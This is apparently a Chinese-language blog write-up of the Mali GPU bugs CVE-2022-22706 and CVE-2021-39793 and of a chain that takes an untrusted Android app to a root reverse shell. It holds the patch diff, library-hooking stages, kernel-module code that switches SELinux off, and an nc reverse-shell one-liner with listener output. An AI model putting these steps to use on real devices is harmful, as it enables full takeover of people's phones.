恶意意图:利用Mali GPU漏洞实现权限提升

本文详细分析了Mali GPU驱动中的两个高危漏洞CVE-2022-22706和CVE-2021-39793,展示了如何从非特权应用通过内存写入漏洞逐步获取root权限,包含完整的技术分析和利用步骤。

漏洞概述

想象一下从第三方应用商店下载一个游戏。你授予它看似无害的权限,但隐藏在应用中的恶意漏洞利用程序可以让攻击者窃取你的照片、窃听你的对话,甚至完全控制你的设备。这就是像CVE-2022-22706和CVE-2021-39793这样的漏洞所带来的威胁,我们将在本文中深入分析这些漏洞。这些漏洞影响许多安卓设备中常见的Mali GPU,允许非特权应用获取root访问权限。

受影响产品

产品 Mali GPU内核驱动
厂商 ARM
严重性 高危 - 非特权用户可以获取对只读内存页的写入访问权限
受影响版本 - Midgard GPU内核驱动:r26p0 - r31p0所有版本
- Bifrost GPU内核驱动:r0p0 - r35p0所有版本
- Valhall GPU内核驱动:r19p0 - r35p0所有版本
测试版本 - Pixel 6, MP1.0, 2022
- 降级到Android 12.0.0 (SD1A.210817.015.A4, 2021年10月)
- Linux localhost 5.10.43-android12-9-00002-g4fb696975cdd-ab7658202 #1 SMP PREEMPT Thu Aug 19 00:59:56 UTC 2021 aarch64
CWE CWE-119:内存缓冲区边界内操作限制不当

CVSS3.1评分

基础分数:7.8(高危) 向量字符串:CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Termux

此Termux输出显示了漏洞利用的上下文,从非特权不受信任的应用上下文运行。

1
2
3
4
~ $ cat /proc/self/attr/current
u:r:untrusted_app_27:s0:c222,c256,c512,c768
~ $ id
uid=10222(u0_a222) gid=10222(u0_a222) groups=10222(u0_a222),3003(inet),9997(everybody),20222(u0_a222_cache),50222(all_a222)

根本原因分析

我们在Mali GPU内核驱动的kbase_jd_user_buf_pin_pages()函数中发现了一个关键漏洞。这个函数至关重要:它管理GPU如何访问内存,准备用户提供的内存缓冲区,并(理论上)确保应用具有正确的权限(读取或写入)。

查看补丁变更列表,问题变得清晰。漏洞在于kbase_jd_user_buf_pin_pages()检查这些权限的方式。关键在于KBASE_REG_GPU_WR(GPU写入)和KBASE_REG_CPU_WR(CPU写入)标志——它们告诉驱动程序需要什么类型的访问权限。应用应该需要同时设置这两个标志才能获得GPU写入访问权限,但代码只检查KBASE_REG_GPU_WR标志,留下了一个巨大的安全漏洞。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
@@ -1,7 +1,7 @@
 // SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note
 /*
  *
- * (C) COPYRIGHT 2010-2021 ARM Limited. All rights reserved.
+ * (C) COPYRIGHT 2010-2022 ARM Limited. All rights reserved.
  *
  * This program is free software and is provided to you under the terms of the
  * GNU General Public License version 2 as published by the Free Software
@@ -1683,7 +1683,8 @@
 				/* The allocation could still have active mappings. */
 				if (user_buf->current_mapping_usage_count == 0) {
 					kbase_jd_user_buf_unmap(kctx, reg->gpu_alloc,
-						(reg->flags & KBASE_REG_GPU_WR));
+						(reg->flags & (KBASE_REG_CPU_WR |
+							       KBASE_REG_GPU_WR)));
 				}
 			}
 		}
@@ -4561,6 +4562,7 @@
 	struct mm_struct *mm = alloc->imported.user_buf.mm;
 	long pinned_pages;
 	long i;
+	int write;
 
 	if (WARN_ON(alloc->type != KBASE_MEM_TYPE_IMPORTED_USER_BUF))
 		return -EINVAL;
@@ -4575,41 +4577,37 @@
 	if (WARN_ON(reg->gpu_alloc->imported.user_buf.mm != current->mm))
 		return -EINVAL;
 
+	write = reg->flags & (KBASE_REG_CPU_WR | KBASE_REG_GPU_WR);
+
 #if KERNEL_VERSION(4, 6, 0) > LINUX_VERSION_CODE
-	pinned_pages = get_user_pages(NULL, mm,
-			address,
-			alloc->imported.user_buf.nr_pages,
+	pinned_pages = get_user_pages(
+		NULL, mm, address,
+		alloc->imported.user_buf.nr_pages,
 #if KERNEL_VERSION(4, 4, 168) <= LINUX_VERSION_CODE && \
 KERNEL_VERSION(4, 5, 0) > LINUX_VERSION_CODE
-			reg->flags & KBASE_REG_GPU_WR ? FOLL_WRITE : 0,
-			pages, NULL);
+		write ? FOLL_WRITE : 0, pages, NULL);
 #else
-			reg->flags & KBASE_REG_GPU_WR,
-			0, pages, NULL);
+		write, 0, pages, NULL);
 #endif
 #elif KERNEL_VERSION(4, 9, 0) > LINUX_VERSION_CODE
-	pinned_pages = get_user_pages_remote(NULL, mm,
-			address,
-			alloc->imported.user_buf.nr_pages,
-			reg->flags & KBASE_REG_GPU_WR,
-			0, pages, NULL);
+	pinned_pages = get_user_pages_remote(
+		NULL, mm,
+		address, alloc->imported.user_buf.nr_pages,
+		write, 0, pages, NULL);
 #elif KERNEL_VERSION(4, 10, 0) > LINUX_VERSION_CODE
-	pinned_pages = get_user_pages_remote(NULL, mm,
-			address,
-			alloc->imported.user_buf.nr_pages,
-			reg->flags & KBASE_REG_GPU_WR ? FOLL_WRITE : 0,
-			pages, NULL);
+	pinned_pages = get_user_pages_remote(
+		NULL, mm,
+		address, alloc->imported.user_buf.nr_pages,
+		write ? FOLL_WRITE : 0, pages, NULL);
 #elif KERNEL_VERSION(5, 9, 0) > LINUX_VERSION_CODE
-	pinned_pages = get_user_pages_remote(NULL, mm,
-			address,
-			alloc->imported.user_buf.nr_pages,
-			reg->flags & KBASE_REG_GPU_WR ? FOLL_WRITE : 0,
-			pages, NULL, NULL);
+	pinned_pages = get_user_pages_remote(
+		NULL, mm,
+		address, alloc->imported.user_buf.nr_pages,
+		write ? FOLL_WRITE : 0, pages, NULL, NULL);
 #else
 	pinned_pages = pin_user_pages_remote(
 		mm, address, alloc->imported.user_buf.nr_pages,
-		reg->flags & KBASE_REG_GPU_WR ? FOLL_WRITE : 0, pages, NULL,
-		NULL);
+		write ? FOLL_WRITE : 0, pages, NULL, NULL);
 #endif
 
 	if (pinned_pages <= 0)
@@ -4843,7 +4841,7 @@
 						kbase_reg_current_backed_size(reg),
 						kctx->as_nr);
 
-			if (reg && ((reg->flags & KBASE_REG_GPU_WR) == 0))
+			if (reg && ((reg->flags & (KBASE_REG_CPU_WR | KBASE_REG_GPU_WR)) == 0))
 				writeable = false;
 
 			kbase_jd_user_buf_unmap(kctx, alloc, writeable);

补丁显示了问题的核心。如果设置了KBASE_REG_GPU_WR但没有设置KBASE_REG_CPU_WR,就会设置FOLL_WRITE标志。这是不正确的。它应该只在两个标志都设置时才被设置。由于这个疏忽,恶意应用可以请求CPU写入访问权限(通过设置KBASE_REG_CPU_WR),而不需要所需的GPU写入访问权限(KBASE_REG_GPU_WR)。这允许应用绕过预期的安全检查,获取对不应该被允许修改的内存的写入访问权限。这种写入只读内存的能力是其余漏洞利用所依赖的基本原语。它允许攻击者将恶意代码注入特权进程,并最终获取root访问权限。

触发漏洞

通过利用此漏洞,我们可以强制Mali驱动程序授予对只读内存区域的写入权限。以下步骤概述了漏洞利用过程:

  1. 分配读写内存页:我们首先分配一个具有读写权限的内存页。
  2. 使用KBASE_REG_CPU_WR导入映射(不使用KBASE_REG_GPU_WR):由于驱动程序中缺少检查,这会无意中授予GPU写入访问权限。
  3. 将导入的缓冲区映射到GPU VA空间:缓冲区被分配GPU地址空间中的虚拟地址。
  4. 取消映射原始读写映射:然后移除原始映射。
  5. 使用只读页重新映射相同地址:这导致CPU将页面视为只读,而GPU保留写入访问权限。
  6. 提交具有GPU VA映射的GPU作业,使用BASE_JD_REQ_EXTERNAL_RESOURCES:这会触发易受攻击的函数kbase_jd_user_buf_pin_pages(),实现对只读内存的写入。

此时,我们可以通过利用来自用户空间的GPU VA映射来修改从CPU角度应该是只读的内存页。

利用原语

能力:能够写入文件的只读内存页。

影响

  • 文件的修改内存页被缓存在内存中供其他进程使用
  • 修改不会保存到磁盘

先决条件

  • 能够打开和读取目标文件
  • 在gpu_device上使用ioctl、read和write的权限

通过将钩子和有效负载注入只读共享库,我们可以操纵特权进程(如init)中的执行流。由于所有域都可以读取system_lib_file类型的文件,这种技术具有广泛适用性:

1
2
3
4
5
oriole:/data/local/tmp $ ./sesearch policy -A -t system_lib_file
Found 3 semantic av rules:
   allow domain system_lib_file : lnk_file { read getattr open } ;
   allow domain system_lib_file : file { read getattr map execute open } ;
   allow domain system_lib_file : dir { ioctl read getattr lock open watch watch_reads search } ;

然而,并非所有域都可以在gpu_device上调用ioctl、read和write。幸运的是,低特权域如shell和untrusted_app被允许这样做:

1
2
3
4
5
allow shell gpu_device:chr_file { append getattr ioctl lock map open read watch watch_reads write };
allow untrusted_app gpu_device:chr_file { append getattr ioctl lock map open read watch watch_reads write };
allow untrusted_app_25 gpu_device:chr_file { append getattr ioctl lock map open read watch watch_reads write };
allow untrusted_app_27 gpu_device:chr_file { append getattr ioctl lock map open read watch watch_reads write };
allow untrusted_app_29 gpu_device:chr_file { append getattr ioctl lock map open read watch watch_reads write };

这使得能够通过system_lib_file修改从shell和untrusted_app劫持特权进程。

攻击策略:Root反向Shell

目标:从untrusted_app_27提升权限获取root反向shell。

挑战:绕过SELinux强制执行。

解决方案:加载任意内核模块。

首先,我们使用位于/sys/fs/selinux/policy的设备SELinux策略识别具有module_load权限的域:

1
2
3
4
5
oriole:/data/local/tmp $ ./sesearch policy -A -p module_load | grep -v magisk
Found 168 semantic av rules:
   allow ueventd vendor_file : system module_load ;
   allow init-insmod-sh vendor_kernel_modules : system module_load ;
   allow vendor_modprobe vendor_file : system module_load ;

其中,只有init-insmod-sh具有自动类型转换,它是目标:

1
type_transition init init-insmod-sh_exec : process init-insmod-sh;

由于init-insmod-sh可以通过运行init-insmod-sh_exec类型的文件来执行,我们在设备上定位相关的可执行文件(/vendor/bin/init.insmod.sh)。

通过init劫持提升到Root

为了实现完整的系统入侵,我们以init进程为目标。init在do_epoll_wait中运行两个线程,使其成为可行的攻击向量:

1
2
3
LABEL          USER PID   TID  PPID     VSZ    RSS WCHAN            ADDR S CMD
u:r:init:s0    root   1     1     0 10917568  5452 do_epoll_wait       0 S init
u:r:init:s0    root   1   372     0 10917568  5452 do_epoll_wait       0 S init

其中一个线程是主线程,另一个是PropertyServiceThread,它从SecondStageMain中的StartPropertyService生成。通过以这些线程中的任何一个为目标,我们可以潜在地利用init进程获得进一步控制。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
void StartPropertyService(int* epoll_socket) {
...
    if (auto result = CreateSocket(PROP_SERVICE_NAME, SOCK_STREAM | SOCK_CLOEXEC | SOCK_NONBLOCK,
                                   false, 0666, 0, 0, {});
        result.ok()) {
        property_set_fd = *result;
    } else {
...
    }
    listen(property_set_fd, 8);
    auto new_thread = std::thread{PropertyServiceThread};
    property_service_thread.swap(new_thread);
}

PropertyServiceThread在property_set_fd监听套接字上注册一个epoll处理程序,然后进入一个循环,在其中重复调用具有无限超时的epoll_wait。这创建了一个长寿命的阻塞操作,如果识别出适当的触发器或攻击向量,可以利用它来劫持线程的执行流。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
static void PropertyServiceThread() {
...
    if (auto result = epoll.RegisterHandler(property_set_fd, handle_property_set_fd);
        !result.ok()) {
...
    }
...
    while (true) {
        auto pending_functions = epoll.Wait(std::nullopt);
...
    }
}

Result<std::vector<std::shared_ptr<Epoll::Handler>>> Epoll::Wait(
        std::optional<std::chrono::milliseconds> timeout) {
    int timeout_ms = -1;
...
    auto num_events = TEMP_FAILURE_RETRY(epoll_wait(epoll_fd_, ev, max_events, timeout_ms));
...
}

要唤醒此线程,我们可以使用任何有效的名称和值参数调用/system/bin/setprop。这将触发向套接字发送PROP_MSG_SETPROP2命令,导致epoll_wait返回并运行handle_property_set_fd。然后可以通过使用Mali写入来钩住handle_property_set_fd中调用的任何导入库函数来劫持init。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static void handle_property_set_fd() {
...
    int s = accept4(property_set_fd, nullptr, nullptr, SOCK_CLOEXEC);
...
    SocketConnection socket(s, cr);
...
    if (!socket.RecvUint32(&cmd, &timeout_ms)) {
...
    }
    switch (cmd) {
    case PROP_MSG_SETPROP: {
...
      }
    case PROP_MSG_SETPROP2: {
...
        if (!socket.RecvString(&name, &timeout_ms) ||
            !socket.RecvString(&value, &timeout_ms)) {
...
        }
...
        uint32_t result = HandlePropertySet(name, value, source_context, cr, &socket, &error);
        if (result != PROP_SUCCESS) {
            LOG(ERROR) << "Unable to set property '" << name << "' from uid:" << cr.uid
                       << " gid:" << cr.gid << " pid:" << cr.pid << ": " << error;
        }
...
      }
...
    }
}

如果setprop缺乏足够的SELinux权限,CheckPermissions中的CheckMacPerms(由HandlePropertySet调用)将失败,触发LOG(ERROR),这又调用/system/lib64/libbase.so中的android::base::LogMessage::LogMessage。利用Mali写入原语,我们可以钩住这些导入函数之一来劫持执行并将权限提升到root。

LogMessage内部调用/system/lib64/libc++.so中的std::ios_base::init,我们可以钩住它来劫持init。

然而,对于untrusted_app,直接调用/system/bin/setprop来触发劫持是行不通的。虽然setprop的执行是允许的,但由于setprop实际上指向/system/bin/toolbox(类型toolbox_exec),不会有域转换,setprop将在untrusted_app的域中执行。在该域中,它无法触发与套接字的通信,因为SELinux策略:

1
2
3
4
5
6
7
allow untrusted_app toolbox_exec:file { execute execute_no_trans getattr ioctl lock map open read watch watch_reads };
avc: denied { write } for comm="setprop" name="property_service" dev="tmpfs" ino=361 scontext=u:r:untrusted_app_27:s0:c222,c256,c512,c768 tcontext=u:object_r:property_socket:s0 tclass=sock_file permissive=0
# Do not allow untrusted apps to connect to the property service
# or set properties. b/10243159
neverallow { all_untrusted_apps -mediaprovider } property_socket:sock_file write;
neverallow { all_untrusted_apps -mediaprovider } init:unix_stream_socket connectto;
neverallow { all_untrusted_apps -mediaprovider } property_type:property_service set;

SELinux策略阻止我们的不受信任应用程序直接与属性服务交互,这是通过/system/bin/setprop触发init劫持所必需的。为了规避这一点,我们利用Mali写入漏洞来劫持具有适当权限的域中的进程。

vold被确定为一个合适的目标。它在被授予对property_socket的写入权限和对toolbox_exec的执行权限的域中运行,后者被setprop使用。此外,vold以root用户身份运行并定期调用导入函数,允许我们注入钩子。具体目标是/system/lib64/libutils.so中的_ZNK7android7RefBase9decStrongEPKv函数。

一个关键的考虑因素是vold执行代码的频率。其30秒的间隔引入了潜在的延迟,最多30秒后我们的钩子才会被触发。servicemanager虽然运行在更快的5秒间隔,但呈现了不同的挑战。观察到它有时会执行缓存代码,即使在相应的库函数被钩住之后,使得这种方法不可靠。因此,尽管存在潜在延迟,vold被选为更一致(尽管较慢)的触发init劫持的方法。

覆盖供应商内核模块

建立了在init-insmod-sh上下文中执行代码的途径后,我们的下一个目标是注入恶意内核模块。关键的是,init-insmod-sh被限制只能加载vendor_kernel_modules类型的模块,如SELinux策略所强制执行的:

1
allow init-insmod-sh vendor_kernel_modules : system module_load ;

这些模块位于/vendor/lib/modules/*.ko,它们是指向/vendor_dlkm/lib/modules/*.ko的符号链接。vendor_kernel_modules类型还带有vendor_file_type属性:

1
2
# kernel modules
type vendor_kernel_modules, vendor_file_type, file_type;

这带来了挑战:我们的不受信任应用,即使具有Mali写入原语,也可能缺乏直接修改这些文件的权限。因此,我们需要利用另一个具有必要能力的进程。我们的策略是劫持一个既能与Mali驱动程序交互(用于写入)又能访问vendor_file_type类型文件的域中的进程。

hal_neuralnetworks_armnn成为一个合适的候选者。这个域满足我们的要求,并且重要的是,可以通过init的类型转换到达:

1
type_transition init hal_neuralnetworks_armnn_exec:process hal_neuralnetworks_armnn;

相关的可执行文件/vendor/bin/hw/android.hardware.neuralnetworks@1.3-service-armnn(类型hal_neuralnetworks_armnn_exec)是一个一次性CLI二进制文件。这是有利的,因为它只是执行并在没有提供特殊参数时退出,避免了创建持久的、可能冲突的后台服务。

为了在hal_neuralnetworks_armnn上下文中获得控制,我们再次使用Mali写入原语。这次,我们钩住/system/lib64/liblog.so中的__android_log_print函数。劫持此函数允许我们将任意代码注入hal_neuralnetworks_armnn进程,使我们能够将恶意内核模块有效负载写入目标/vendor_dlkm/lib/modules/*.ko位置。这种多阶段方法允许我们绕过SELinux限制并实现覆盖内核模块的目标。

加载内核模块

覆盖vendor_kernel_modules文件后的下一步是在init-insmod-sh中加载它们。

init通过执行/vendor/bin/init.insmod.sh转换到init-insmod-sh,并且这个shell脚本具有内置功能,当提供正确的配置文件参数时,使用/vendor/bin/modprobe加载/vendor/lib/modules/中的模块。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/vendor/bin/sh

#############################################################
### init.insmod.cfg format:                               ###
### ----------------------------------------------------- ###
### [insmod|setprop|enable/moprobe|wait] [path|prop name] ###
### ...                                                   ###
#############################################################

modules_dir=

for f in /vendor/lib/modules/*/modules.dep /vendor/lib/modules/modules.dep; do
  if [[ -f "$f" ]]; then
    modules_dir="$(dirname "$f")"
    break
  fi
done

...

if [ $# -eq 1 ]; then
  cfg_file=$1
else
...
fi

if [ -f $cfg_file ]; then
  while IFS="|" read -r action arg
  do
    case $action in
...
      "modprobe")
        case ${arg} in
          "-b *" | "-b")
            arg="-b --all=${modules_dir}/modules.load" ;;
          "*" | "")
            arg="--all=${modules_dir}/modules.load" ;;
        esac
        modprobe -a -d "${modules_dir}" $arg ;;
...
    esac
  done < $cfg_file
fi

选择要覆盖和加载的内核模块需要仔细考虑。我们选择了/vendor/lib/modules/pktgen.ko,因为它是一个相对不重要的模块,并且关键的是,它当前未加载。这最小化了在漏洞利用期间破坏系统功能的风险。要指示/vendor/bin/init.insmod.sh加载此模块,我们需要提供一个包含行modprobe|pktgen\n的配置文件。

然而,SELinux带来了障碍。init-insmod-sh脚本被策略限制只能读取特定类型的文件,包括vendor_file_type。我们的不受信任应用,即使具有Mali写入能力,也不能直接在必要位置直接创建或修改此类型的文件。因此,我们利用hal_neuralnetworks_armnn进程(在先前步骤中已被劫持)来执行此操作。

我们确定/vendor/etc/modem/logging.conf作为覆盖的合适目标。此文件很小,似乎是非必需的,并且重要的是,它是vendor_configs_file类型,具有所需的vendor_file_type属性。相关的SELinux规则是:

1
2
3
allow init-insmod-sh vendor_file_type:file { execute getattr map open read };
# Default type for everything under /vendor/etc/
type vendor_configs_file, vendor_file_type, file_type;

在hal_neuralnetworks_armnn上下文中使用Mali写入原语,我们用modprobe|pktgen\n行覆盖了/vendor/etc/modem/logging.conf。随后,从init进程执行未修改的/vendor/bin/init.insmod.sh,提供修改后的/vendor/etc/modem/logging.conf文件作为参数,导致成功加载我们覆盖的/vendor/lib/modules/pktgen.ko模块。

绕过SELinux并获取Root反向Shell

随着恶意内核模块加载,我们现在可以禁用SELinux强制执行模式,这是实现完整系统入侵的关键步骤。这通过在加载的内核模块中将enforcing标志设置为false来完成:

1
WRITE_ONCE(selinux_state->enforcing, false);

为了确保完全解除SELinux约束,我们还刷新访问向量缓存(AVC):

1
avc_ss_reset(selinux_state->avc, 0);

成功禁用SELinux后,我们现在可以自由建立root反向shell。目标设备方便地包含了netcat(实际上是toybox的nc),我们可以用于此目的:

1
2
3
4
5
6
7
8
9
oriole:/ $ which nc
/system/bin/nc
oriole:/ $ ls -la /system/bin/nc
lrwxrwxrwx 1 root shell 6 2024-07-10 01:23 /system/bin/nc -> toybox
oriole:/ $ nc --help  # Output from toybox nc
Toybox 0.8.4-android multicall binary: https://landley.net/toybox (see toybox --help)

usage: netcat [-46ELUlt] [-u] [-wpq #] [-s addr] {IPADDR PORTNUM|-f FILENAME|COMMAND...}
...

我们制作了一个简单的shell脚本来创建一个命名管道(/dev/_f)并将其与nc结合使用来建立反向shell:

1
2
#!/bin/sh
rm /dev/_f;mkfifo /dev/_f;cat /dev/_f|sh -i 2>&1|nc localhost 4444 >/dev/_f

这个脚本从我们的不受信任应用放到设备上,然后由被劫持的init进程执行。在我们的攻击机器上,我们使用ncat(或nc)设置一个监听器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
C:\ncat-portable-5.59BETA1>adb reverse tcp:4444 tcp:4444 # 将端口4444转发到设备
4444
C:\ncat-portable-5.59BETA1>ncat.exe -nlvp 4444  # 开始监听端口4444
Ncat: Version 5.59BETA1 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 127.0.0.1:52021.
sh: can't find tty fd: No such device or address  # 常见消息,通常可忽略
sh: warning: won't have full job control           # 也很常见
:/ # id                                         # 验证root访问
uid=0(root) gid=0(root) groups=0(root),3009(readproc) context=u:r:toolbox:s0
:/ # getenforce                                 # 确认SELinux已禁用
Permissive

输出清楚地表明我们已成功获取root反向shell,SELinux处于宽容模式。

漏洞利用执行:逐步分解

漏洞利用以精心编排的步骤序列展开,利用Mali写入漏洞劫持各种进程并最终获取root访问权限。该过程可以分解如下:

  1. 有效负载准备:不受信任的应用开始战略性地放置有效负载以供以后执行:

    • 阶段3:写入/system/lib64/libldacBT_enc.so。此有效负载将在后续阶段迁移以获得更多空间。
    • 阶段2:写入/system/lib64/liblog.so,以及用于劫持android.hardware.neuralnetworks@1.3-service-armnn的钩子。
    • 阶段1:写入/system/lib64/libc++.so,包括用于劫持init进程的钩子。
    • 阶段0:写入/system/lib64/libutils.so,包含用于劫持vold的钩子。此阶段设计为在30秒间隔后触发。
  2. 初始触发(vold劫持):当vold执行其常规函数时,触发libutils.so中的阶段0有效负载。然后此有效负载执行/system/bin/setprop来唤醒init进程。

  3. 阶段1执行(hal_neuralnetworks_armnn劫持)

    • init中的阶段1有效负载执行/vendor/bin/hw/android.hardware.neuralnetworks@1.3-service-armnn,将执行转换到hal_neuralnetworks_armnn上下文。
    • 执行hal_neuralnetworks_armnn中的阶段2有效负载。它映射内存并将阶段3有效负载从/system/lib64/libldacBT_enc.so迁移到此新分配的空间,为后续操作提供更多空间。
    • 然后阶段3有效负载执行两个关键的Mali写入操作:
      • 它用恶意内核模块代码覆盖/vendor_dlkm/lib/modules/pktgen.ko
      • 它将配置文件内容(modprobe|pktgen\n)写入/vendor/etc/modem/logging.conf
  4. 信号和阶段4设置:阶段0有效负载向不受信任的应用发回信号,指示准备完成。不受信任的应用然后将阶段4有效负载(包含用于再次劫持init的钩子)写入/system/lib64/libc++.so。反向shell脚本写入/data/data/com.termux/_rev.sh

  5. 最终触发和权限提升:阶段0有效负载再次执行/system/bin/setprop,为最终阶段唤醒init。

  6. 阶段4执行(SELinux绕过和反向shell)

    • init中的阶段4有效负载使用/vendor/etc/modem/logging.conf作为参数执行/vendor/bin/init.insmod.sh
    • /vendor/bin/init.insmod.sh然后使用modprobe命令加载覆盖的/vendor_dlkm/lib/modules/pktgen.ko模块。此模块禁用SELinux。
    • 最后,阶段4有效负载执行位于/data/data/com.termux/_rev.sh的反向shell脚本,建立root反向shell连接。

这种多阶段方法允许漏洞利用绕过SELinux限制并从不受信任的应用实现root权限提升。每个阶段在设置下一个阶段中扮演关键角色,最终导致恶意内核模块的执行和root反向shell的建立。

结束语

Mali GPU驱动中的漏洞CVE-2022-22706和CVE-2021-39793提出了严重的安全问题,允许非特权用户写入只读内存页,可能实现权限提升和系统入侵。通过仔细利用这些缺陷,攻击者可以操纵内存并在关键系统进程(如init)中执行任意代码。通过结合SELinux绕过、针对性劫持易受攻击的进程和内核模块注入等技术,攻击者可以提升其权限并获得对受影响设备的完全控制。本文已演示了如何将这些漏洞链接在一起以实现完整的设备入侵,从不受信任的应用到root反向shell。核心漏洞,即缺少的KBASE_REG_CPU_WR检查,允许攻击者获得关键的写入访问权限。用户应确保其设备使用最新的安全补丁进行更新,以防范此类漏洞。

参考文献

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计